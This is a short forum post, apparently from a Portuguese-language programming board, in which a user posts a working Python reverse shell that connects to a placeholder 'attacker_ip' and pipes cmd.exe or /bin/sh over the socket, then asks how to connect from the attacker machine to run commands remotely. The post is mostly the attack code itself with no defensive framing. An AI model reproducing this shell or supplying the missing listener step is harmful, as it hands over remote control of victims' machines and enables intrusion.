[Python] Connect to reverse shell

Discussão em 'Python' iniciado por Stack, Fevereiro 1, 2025.

  1. Stack

    Stack Membro Participativo

    I have reverse shell code in python:

    #!/usr/bin/env python3

    import socket, subprocess, os

    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("attacker_ip", attacker_port))

    if os.name == 'nt':
    subprocess.call(["cmd.exe"], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())
    else:
    subprocess.call(["/bin/sh", "-i"], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())


    I put IP address and port into the code.

    But how to connect to this reverse shell from attacker machine?

    EDIT: in the end I need to be able to run commands remotely.

    Continue reading...

Compartilhe esta Página